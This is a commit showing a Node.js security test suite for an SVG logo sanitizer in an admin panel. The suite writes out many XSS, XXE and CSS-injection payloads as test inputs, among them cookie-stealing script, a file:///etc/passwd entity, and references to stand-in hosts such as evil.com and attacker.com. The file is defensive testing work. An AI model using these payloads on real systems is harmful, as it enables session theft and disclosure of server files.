Initial upload to Gitea

This commit is contained in:
antonn committed 2026-11-30 16:32:37 +00:00
1 parent 78193254ad
commit 8478998cae
1485 files changed
+461025 -42348

No files matched your search

+335
View File
@@ -0,0 +1,335 @@
// scripts/verify-svg-logo-security.js
// Comprehensive security verification suite for SVG Brand Logos in ADPanel Enterprise.
// Verifies neutralization of all known SVG attack vectors and confirms defense-in-depth guarantees.
"use strict";
const assert = require("assert");
const branding = require("../utils/branding.js");
const { sanitizeSvg, validateSvgBuffer, ALLOWED_TAGS, DANGEROUS_BLOCK_TAGS } = require("../utils/svg-sanitizer.js");
let checks = 0;
function ok(name, cond) {
assert.ok(cond, `FAILED: ${name}`);
checks += 1;
console.log(` [PASS] ${name}`);
}
console.log("===============================================================================");
console.log("RUNNING ENTERPRISE SVG LOGO SECURITY VERIFICATION SUITE");
console.log("===============================================================================\n");
// -----------------------------------------------------------------------------
// TEST SUITE 1: Direct Script Injection Neutralization
// -----------------------------------------------------------------------------
console.log("--- TEST SUITE 1: Script Injection Neutralization ---");
{
const rawSvg = `
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40" fill="red" />
<script type="text/javascript">
alert(document.cookie);
fetch('/api/admin/delete-all');
</script>
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("Sanitizer accepts valid SVG structure", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("Direct <script> tag is completely stripped", !out.includes("<script"));
ok("Script body is completely stripped", !out.includes("document.cookie") && !out.includes("delete-all"));
ok("Visual <circle> element is preserved", out.includes("<circle") && out.includes('fill="red"'));
}
{
const rawSvg = `
<svg:svg xmlns:svg="http://www.w3.org/2000/svg">
<svg:script xlink:href="http://evil.com/xss.js" xmlns:xlink="http://www.w3.org/1999/xlink"></svg:script>
<path d="M10 10 H 90 V 90 H 10 L 10 10" />
</svg:svg>
`;
const res = sanitizeSvg(rawSvg);
ok("Namespaced <svg:script> is completely stripped", !res.sanitized.toString("utf8").includes("script"));
ok("Namespaced path is preserved", res.sanitized.toString("utf8").includes("<path"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 2: Inline Event Handlers Neutralization (DOM & SMIL)
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 2: Inline Event Handlers Neutralization ---");
{
const rawSvg = `
<svg onload="alert('xss-onload')" onerror="alert('xss-onerror')" viewBox="0 0 100 100">
<rect x="0" y="0" width="100" height="100" onmouseover="alert('xss-mouseover')" onclick="alert('xss-click')" />
<circle cx="50" cy="50" r="20" onfocus="alert('xss-focus')" onblur="alert('xss-blur')" />
<text x="10" y="20" onactivate="alert('xss-activate')">Logo</text>
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("Event-laden SVG passes through sanitizer", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("onload attribute stripped", !out.includes("onload"));
ok("onerror attribute stripped", !out.includes("onerror"));
ok("onmouseover attribute stripped", !out.includes("onmouseover"));
ok("onclick attribute stripped", !out.includes("onclick"));
ok("onfocus attribute stripped", !out.includes("onfocus"));
ok("onactivate attribute stripped", !out.includes("onactivate"));
ok("Zero 'on*' attributes remain", !/\son[a-z0-9_\-]+\s*=/i.test(out));
}
// -----------------------------------------------------------------------------
// TEST SUITE 3: SMIL Animation Attacks Neutralization
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 3: SMIL Animation Attacks Neutralization ---");
{
const rawSvg = `
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<rect width="100" height="100">
<animate attributeName="href" values="javascript:alert(1)" />
<animate onbegin="alert(2)" dur="1s" />
<set attributeName="onmouseover" to="alert(3)" />
</rect>
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("SMIL animation vectors processed", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("<animate> element stripped", !out.includes("<animate"));
ok("<set> element stripped", !out.includes("<set"));
ok("No SMIL onbegin/onend attributes remain", !out.includes("onbegin"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 4: <foreignObject> HTML Injection Neutralization
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 4: <foreignObject> HTML Injection Neutralization ---");
{
const rawSvg = `
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100" height="100">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="javascript:alert('iframe-xss')"></iframe>
<form action="http://attacker.com"><input type="password" /></form>
<script>alert('foreignObject-xss');</script>
</body>
</foreignObject>
<circle cx="50" cy="50" r="40" fill="blue" />
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("SVG with foreignObject processed", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("<foreignObject> stripped", !out.includes("<foreignObject") && !out.includes("<foreignobject"));
ok("Nested <iframe> stripped", !out.includes("<iframe"));
ok("Nested <form> stripped", !out.includes("<form"));
ok("Nested <script> stripped", !out.includes("foreignObject-xss"));
ok("Safe sibling element <circle> preserved", out.includes("<circle") && out.includes('fill="blue"'));
}
// -----------------------------------------------------------------------------
// TEST SUITE 5: Pseudo-Protocol & Entity Encoding Filter Evasion
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 5: Pseudo-Protocol & Entity Encoding Evasion ---");
{
const rawSvg = `
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<a href="javascript:alert(1)"><rect width="10" height="10" /></a>
<a href="java&#x73;cript:alert(2)"><circle r="5" /></a>
<a href="jav&#x0A;ascript:alert(3)"><circle r="5" /></a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="><circle r="5" /></a>
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("Link/pseudo-protocol vectors processed", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("<a> tags stripped/disallowed in brand logo", !out.includes("<a ") && !out.includes("<a>"));
ok("javascript: pseudo-protocol completely absent", !out.includes("javascript:"));
ok("data:text/html completely absent", !out.includes("data:text/html"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 6: XXE (XML External Entity) & Billion Laughs Rejection
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 6: XXE & Denial of Service Bombs ---");
{
const xxePayload = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<svg xmlns="http://www.w3.org/2000/svg">&xxe;</svg>
`;
const res = sanitizeSvg(xxePayload);
ok("XXE with <!ENTITY ... SYSTEM ...> strictly rejected", res.valid === false);
ok("Error explicitly mentions XXE violation", /xxe|entity/i.test(res.error || ""));
}
{
const billionLaughs = `<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<svg xmlns="http://www.w3.org/2000/svg">&lol2;</svg>
`;
const res = sanitizeSvg(billionLaughs);
ok("Billion Laughs XML bomb strictly rejected", res.valid === false);
}
{
const nullBytePayload = Buffer.from("<svg xmlns='http://www.w3.org/2000/svg'><circle\0 r='10'/></svg>");
const res = sanitizeSvg(nullBytePayload);
ok("Null byte injection strictly rejected", res.valid === false);
ok("Error mentions null bytes", /null byte/i.test(res.error || ""));
}
// -----------------------------------------------------------------------------
// TEST SUITE 7: <use> and <image> External Smuggling Protection
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 7: <use> and <image> Resource Protection ---");
{
const rawSvg = `
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<defs>
<circle id="my-circle" cx="20" cy="20" r="10" />
</defs>
<!-- Safe local use -->
<use href="#my-circle" x="10" y="10" />
<!-- Malicious external use -->
<use href="http://attacker.com/evil.svg#payload" />
<use xlink:href="//attacker.com/evil.svg#payload" />
<use href="javascript:alert(1)" />
<!-- Safe raster data image -->
<image href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==" />
<!-- Malicious image href -->
<image href="javascript:alert(1)" />
<image href="data:text/html;base64,PHNjcmlwdD4=" />
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("Use and image tags processed", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("Local <use href='#my-circle'> preserved", out.includes('href="#my-circle"'));
ok("External <use href='http:...'> stripped", !out.includes("attacker.com"));
ok("javascript: in <use> stripped", !out.includes("javascript:alert"));
ok("Safe base64 raster <image> preserved", out.includes('image/png;base64'));
ok("data:text/html in <image> stripped", !out.includes("data:text/html"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 8: CSS & <style> Sanitization
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 8: CSS & <style> Sanitization ---");
{
const rawSvg = `
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<style>
@import url('http://evil.com/leak.css');
.logo { fill: #6366f1; }
.bad1 { background: expression(alert(1)); }
.bad2 { -moz-binding: url('http://evil.com/xbl'); }
.bad3 { behavior: url('evil.htc'); }
.bad4 { background: url('javascript:alert(1)'); }
</style>
<rect class="logo" width="50" height="50" style="fill: red; background: expression(alert(2));" />
</svg>
`;
const res = sanitizeSvg(rawSvg);
ok("CSS styling processed", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("@import stripped from <style>", !out.includes("@import"));
ok("expression() stripped from <style>", !out.includes("expression("));
ok("-moz-binding stripped from <style>", !out.includes("-moz-binding"));
ok("behavior: stripped from <style>", !out.includes("behavior:"));
ok("javascript: url stripped from <style>", !out.includes("url('javascript:"));
ok("Legitimate CSS class (.logo { fill: #6366f1; }) preserved", out.includes(".logo"));
ok("expression() stripped from inline style attribute", !out.includes("expression(alert(2))"));
ok("Legitimate inline style 'fill: red' preserved", out.includes("fill: red"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 9: Legitimate SVG Logo Preservation
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 9: Legitimate SVG Logo Preservation ---");
{
const legitimateSvg = `
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 50" width="200" height="50">
<defs>
<linearGradient id="brandGrad" x1="0%" y1="0%" x2="100%" y2="100%">
<stop offset="0%" stop-color="#4f46e5" />
<stop offset="100%" stop-color="#06b6d4" />
</linearGradient>
</defs>
<rect x="0" y="0" width="40" height="40" rx="8" fill="url(#brandGrad)" />
<path d="M12 28 L20 12 L28 28 Z" fill="#ffffff" />
<text x="50" y="28" font-family="Inter, sans-serif" font-size="20" font-weight="bold" fill="#ffffff">ADPanel</text>
</svg>
`;
const res = sanitizeSvg(legitimateSvg);
ok("Clean legitimate brand logo parses successfully", res.valid === true);
const out = res.sanitized.toString("utf8");
ok("viewBox preserved", out.includes('viewbox="0 0 200 50"'));
ok("<defs> preserved", out.includes("<defs>"));
ok("<linearGradient> and <stop> preserved", out.includes("<lineargradient") && out.includes("<stop"));
ok("<rect> with rx and fill preserved", out.includes("<rect") && out.includes('rx="8"'));
ok("<path> preserved with coordinates", out.includes("<path") && out.includes('d="M12 28 L20 12 L28 28 Z"'));
ok("<text> content preserved ('ADPanel')", out.includes("ADPanel"));
}
// -----------------------------------------------------------------------------
// TEST SUITE 10: utils/branding.js Integration & Gating Invariants
// -----------------------------------------------------------------------------
console.log("\n--- TEST SUITE 10: utils/branding.js Integration & Invariants ---");
{
// 1. Logo upload extension gate allows SVG
ok("getValidatedLogoExtension('logo.svg') === 'svg'", branding.getValidatedLogoExtension("logo.svg") === "svg");
ok("getValidatedLogoExtension('logo.SVG') === 'svg'", branding.getValidatedLogoExtension("logo.SVG") === "svg");
ok("getLogoExtensionFromUrl('https://example.com/logo.svg') === 'svg'", branding.getLogoExtensionFromUrl("https://example.com/logo.svg") === "svg");
// 2. Login background pipeline STILL rejects SVG (protects finding 1.1 invariant)
ok("getValidatedExtension('bg.svg') === null (background gate retains SVG refusal)", branding.getValidatedExtension("bg.svg") === null);
ok("getMediaTypeFromFilename('bg.svg') === null", branding.getMediaTypeFromFilename("bg.svg") === null);
ok("getMediaTypeFromUrl('https://example.com/bg.svg') === null", branding.getMediaTypeFromUrl("https://example.com/bg.svg") === null);
// 3. validateImageBuffer with allowSvg: false rejects SVG
const sampleSvg = Buffer.from('<svg xmlns="http://www.w3.org/2000/svg"><circle r="10"/></svg>');
ok("validateImageBuffer without allowSvg rejects SVG", branding.validateImageBuffer(sampleSvg).valid === false);
// 4. validateImageBuffer with allowSvg: true sanitizes and accepts clean SVG
const validSvgRes = branding.validateImageBuffer(sampleSvg, { allowSvg: true });
ok("validateImageBuffer with allowSvg: true accepts clean SVG", validSvgRes.valid === true);
ok("validateImageBuffer returns sanitized buffer", Buffer.isBuffer(validSvgRes.data));
// 5. validateImageBuffer with allowSvg: true neutralizes malicious SVG
const maliciousSvg = Buffer.from('<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="10"/></svg>');
const cleanedSvgRes = branding.validateImageBuffer(maliciousSvg, { allowSvg: true });
ok("validateImageBuffer cleans malicious SVG", cleanedSvgRes.valid === true);
ok("Returned buffer has zero script tags", !cleanedSvgRes.data.toString("utf8").includes("<script"));
// 6. validateBase64Image with allowSvg: true works identically
const b64 = sampleSvg.toString("base64");
const b64Res = branding.validateBase64Image(b64, { allowSvg: true });
ok("validateBase64Image with allowSvg: true succeeds", b64Res.valid === true);
// 7. validateBase64Image without allowSvg rejects SVG
ok("validateBase64Image without allowSvg rejects SVG", branding.validateBase64Image(b64).valid === false);
// 8. resolveFaviconMimeType resolves SVG correctly
const svgMime = branding.getMimeTypeForExtension("svg");
ok("getMimeTypeForExtension('svg') === 'image/svg+xml'", svgMime === "image/svg+xml");
}
console.log("\n===============================================================================");
console.log(`ALL ${checks} SECURITY CHECKS PASSED SUCCESSFULLY!`);
console.log("===============================================================================");